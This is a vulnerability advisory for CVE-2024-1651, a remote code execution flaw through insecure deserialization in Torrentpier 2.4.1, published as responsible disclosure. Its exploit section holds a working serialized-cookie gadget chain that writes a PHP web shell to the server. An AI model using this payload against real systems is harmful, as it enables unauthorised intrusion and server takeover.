Torrentpier 2.4.1 - RCE
Summary
Name | Torrentpier 2.4.1 - RCE |
Code name | |
Product | Torrentpier |
Affected versions | Version 2.4.1 |
State | Public |
Release date | 2024-02-19 |
Vulnerability
Kind | Insecure Deserialization |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
CVSSv3.1 Base Score | 10.0 |
Exploit available | Yes |
CVE ID(s) |
Description
Torrentpier version 2.4.1 allows executing arbitrary commands on the server. This is possible because the application is vulnerable to insecure deserialization.
Vulnerability
An insecure deserialization vulnerability has been identified in Torrentpier that allows an attacker to obtain RCE on the server. This was made possible by deserializing arbitrary data sent by the user.
Exploit
a%3A3%3A%7Bs%3A2%3A%22uk%22%3Bs%3A32%3A%22VH1LEjOTawqJ5RZcXzht2Ew1Z94vhgu9%22%3Bs%3A3%3A%22uid%22%3Bi%3A2%3Bs%3A3%3A%22sid%22%3Bs%3A20%3A%22VsZHWgRXmBhbsVdztxwR%22%3B%7D;bb_t=O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:35:"<?php%20echo%20system($_GET['cmd'])%3B?>%0A"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:32:"/opt/homebrew/var/www/hacked.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2024-1651 to refer to this issue from now on.
System Information
-
Version: Torrentpier 2.4.1
-
Operating System: MacOS
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/torrentpier/torrentpier
Timeline
2024-02-05
Vulnerability discovered.
2024-02-05
Vendor contacted.
2024-02-07
Vendor replied acknowledging the report.
2024-02-07
Vendor Confirmed the vulnerability.
2024-02-19
Public Disclosure.